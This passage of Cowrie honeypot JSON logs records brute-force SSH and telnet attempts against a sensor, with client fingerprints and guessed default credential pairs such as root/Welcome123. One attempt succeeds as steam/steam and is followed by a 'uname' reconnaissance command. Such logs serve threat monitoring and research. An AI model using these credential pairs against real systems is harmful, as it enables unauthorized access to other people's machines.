ha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:06.041621Z","src_ip":"45.153.34.112","session":"504dc38b675e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:06.290314Z","src_ip":"45.153.34.112","session":"504dc38b675e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:07.376275Z","src_ip":"45.153.34.112","session":"504dc38b675e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16645669937134,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:07.771610Z","src_ip":"192.119.13.58","session":"6d79e5a84c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.39235162734985,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:07.951287Z","src_ip":"192.119.13.58","session":"170ddc107c1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43450,"dst_ip":"10.17.0.5","dst_port":22,"session":"374dd8c27857","protocol":"ssh","message":"New connection: 45.153.34.112:43450 (10.17.0.5:22) [session: 374dd8c27857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:09.645671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:09.650021Z","src_ip":"45.153.34.112","session":"374dd8c27857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:09.731714Z","src_ip":"45.153.34.112","session":"374dd8c27857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:09.975970Z","src_ip":"45.153.34.112","session":"374dd8c27857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:11.060937Z","src_ip":"45.153.34.112","session":"374dd8c27857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43460,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a292766071","protocol":"ssh","message":"New connection: 45.153.34.112:43460 (10.17.0.5:22) [session: 43a292766071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:13.150121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:13.154708Z","src_ip":"45.153.34.112","session":"43a292766071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:13.237197Z","src_ip":"45.153.34.112","session":"43a292766071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:13.483413Z","src_ip":"45.153.34.112","session":"43a292766071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:14.570911Z","src_ip":"45.153.34.112","session":"43a292766071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48142,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1eeebbc7cc2","protocol":"telnet","message":"New connection: 192.119.13.58:48142 (10.17.0.5:23) [session: e1eeebbc7cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:15.310848Z"}
{"eventid":"cowrie.session.closed","duration":46.03794240951538,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:15.619193Z","src_ip":"192.119.13.58","session":"0cbafb495873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43470,"dst_ip":"10.17.0.5","dst_port":22,"session":"15d0d45cea56","protocol":"ssh","message":"New connection: 45.153.34.112:43470 (10.17.0.5:22) [session: 15d0d45cea56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:16.740626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:16.745776Z","src_ip":"45.153.34.112","session":"15d0d45cea56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:16.829890Z","src_ip":"45.153.34.112","session":"15d0d45cea56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:17.085277Z","src_ip":"45.153.34.112","session":"15d0d45cea56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46714,"dst_ip":"159.203.135.109","dst_port":22,"session":"fec6ad243c3d","protocol":"ssh","message":"New connection: 109.237.96.109:46714 (159.203.135.109:22) [session: fec6ad243c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:17.394031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:17.415333Z","src_ip":"109.237.96.109","session":"fec6ad243c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:17.545695Z","src_ip":"109.237.96.109","session":"fec6ad243c3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rambler","message":"login attempt [root/rambler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:17.887202Z","src_ip":"109.237.96.109","session":"fec6ad243c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:18.171548Z","src_ip":"45.153.34.112","session":"15d0d45cea56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.72008967399597,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:18.853843Z","src_ip":"192.119.13.58","session":"7ee3e0c86cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:19.018158Z","src_ip":"109.237.96.109","session":"fec6ad243c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.92931079864502,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:19.560655Z","src_ip":"192.119.13.58","session":"4e3d23037567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58768,"dst_ip":"10.17.0.5","dst_port":22,"session":"6853c655185b","protocol":"ssh","message":"New connection: 45.153.34.112:58768 (10.17.0.5:22) [session: 6853c655185b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:20.158955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:20.164444Z","src_ip":"45.153.34.112","session":"6853c655185b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:20.246718Z","src_ip":"45.153.34.112","session":"6853c655185b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:20.496449Z","src_ip":"45.153.34.112","session":"6853c655185b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39860,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33220fc53b0","protocol":"telnet","message":"New connection: 192.119.13.58:39860 (10.17.0.5:23) [session: d33220fc53b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:20.856207Z"}
{"eventid":"cowrie.session.closed","duration":42.48845720291138,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:21.356252Z","src_ip":"192.119.13.58","session":"57a086edcdfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:21.581462Z","src_ip":"45.153.34.112","session":"6853c655185b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47360,"dst_ip":"10.17.0.5","dst_port":23,"session":"4040c50508d6","protocol":"telnet","message":"New connection: 192.119.13.58:47360 (10.17.0.5:23) [session: 4040c50508d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:23.068251Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f6a010f1b36","protocol":"ssh","message":"New connection: 45.153.34.112:58772 (10.17.0.5:22) [session: 9f6a010f1b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:23.818129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:23.823125Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49990,"dst_ip":"10.17.0.5","dst_port":23,"session":"44b4f52507bb","protocol":"telnet","message":"New connection: 192.119.13.58:49990 (10.17.0.5:23) [session: 44b4f52507bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:23.875101Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:23.905693Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.152604Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.523661Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.527256Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.624351Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.629468Z","src_ip":"45.153.34.112","session":"9f6a010f1b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b96b2bd4e9","protocol":"telnet","message":"New connection: 192.119.13.58:52684 (10.17.0.5:23) [session: 60b96b2bd4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.655833Z"}
{"eventid":"cowrie.session.closed","duration":34.207120180130005,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:24.858595Z","src_ip":"192.119.13.58","session":"943f35c3c27e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":59878,"dst_ip":"159.203.135.109","dst_port":22,"session":"b795ef24c530","protocol":"ssh","message":"New connection: 94.159.98.239:59878 (159.203.135.109:22) [session: b795ef24c530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:25.837281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:26.223180Z","src_ip":"94.159.98.239","session":"b795ef24c530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","cha